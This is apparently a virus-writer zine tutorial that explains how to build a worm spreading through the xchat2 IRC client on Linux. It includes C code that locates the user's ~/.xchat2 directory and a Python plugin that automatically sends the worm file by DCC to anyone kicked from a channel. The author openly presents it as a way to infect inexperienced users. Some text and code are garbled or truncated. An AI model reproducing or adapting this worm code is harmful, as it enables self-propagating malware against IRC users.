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  1. Introduction
  2. How to locate xchat2 on the system
  3. The code
  4. Greetz

1) Introduction

Linux and other open sources systems are becoming very widespreaded, today those systems are not only used on the server side but also on the desktop side.

There are many n00b linux user around that can be fucked by many tricks that have been used for windows.

This small guide wants to demonstrate how a small "mirc-like" worm can be written for a notorious unix irc client called xchat. Powerful linux malwares are very difficult to write, its security model is very robust so I think we will never see a serious threat for the open source systems.

All the things written here have been tested using xchat2. Ok no other words and remember: my main language is italian so this guide could contain grammar mistakes !

2) How to locate xchat2 on the system

You can use two simple way to see if xchat2 program is installed on the system:

  1. Look for the xchat executable in /usr/bin and /usr/local/bin
  2. (Better way) Check if the directory /$HOME/.xchat2 exists

uggest you to use the way b, because it could happen that an user has xchat but he/she has never started it.

ll code snippet:


#include <stdio.h>
#include <stdlib.h>

int main(int argc,char *argv[])
    char xchat2_dir[256];
    char *home = getenv("HOME");

    if(home != NULL)

        if(chdir(xchat2_dir) < 0)
            printf("xchat2 is not present\n");

            printf("xchat2 is present\n");


        printf("I could not get $HOME!\n");


3) The code

After finding the xchat2's dir we should put our script in it. xchat2 has a very good plugins interface, you can add your own functions to the client with few lines of code.

This plugin interface supports several languages: C,C++,python,perl and maybe others in the future.

I will use the python interface for this guide but everything explained can be applied to the other languages.

The "traditional" irc script worm uses some events to be activated usually "JOIN" (when an user enters a channel you are), I hate tradition so I will use the "KICK" event.

This small python script should be simple to understand.

  __module_name__ = "xchat2worm"
  __module_version__ = "0.1"
  __module_description__ = "xchat2worm by [WarGame/doomriderz]"
  import xchat
  def onkick_cb(word, word_eol, userdata):
       if xchat.nickcmp(word[3],xchat.get_info("nick")) != 0:
               xchat.command("DCC SEND " + word[3] + " path_of_my_worm")
       return xchat.EAT_NONE
  xchat.hook_server("KICK", onkick_cb)

I think the code is quite simple, we define a callback function called "onkick_cb", this will be called when the KICK event occurs. To hook the event we will use xchat.hook_server(), it takes two args, the name of the event (like "JOIN" or "NOTICE") and the callback that has to handle it.

A callback function has always the same parameters:

an array, very important
an other array, important too
user defined values

You should use word and word_eol in the callback because they contain important data like nicks, channels name etc ... In my case the word array contains all the infos I need, infact word[3] contains the nick of the asshole that has been kicked.

Then I use xchat.nickcmp() to be sure I do not send the worm to myself ( to get infos about yourself use xchat.getinfo() ), now I can do the real stuff using xchat.command().

I build a string like "DCC SEND nick path_of_file_to_send" and pass it to this function so it gets executed.

Remember to return from callback one of the predefined values (taken from guide):

Don't let any other plugin receive this event.
Don't let xchat treat this event as usual.
Eat the event completely.
Let everything happen as usual.

I suggest you to use EAT_NONE so everything is handled by xchat itself. You can now create your own scripts and use other events :)

4) Greetz

greetz to all doomriderz, EOF-project, slagehammer and all people on #vx-lab, #eof-project,#virus

In particular:

thx a lot for testing dude :)
at the end you got my worm working on your system, thx :)

As usual if you want to contact me drop a mail to [email protected] or come on undernet. In this zine you will find a small ASM shit that will do all this. I hope you enjoyed reading this guide, Bye :)

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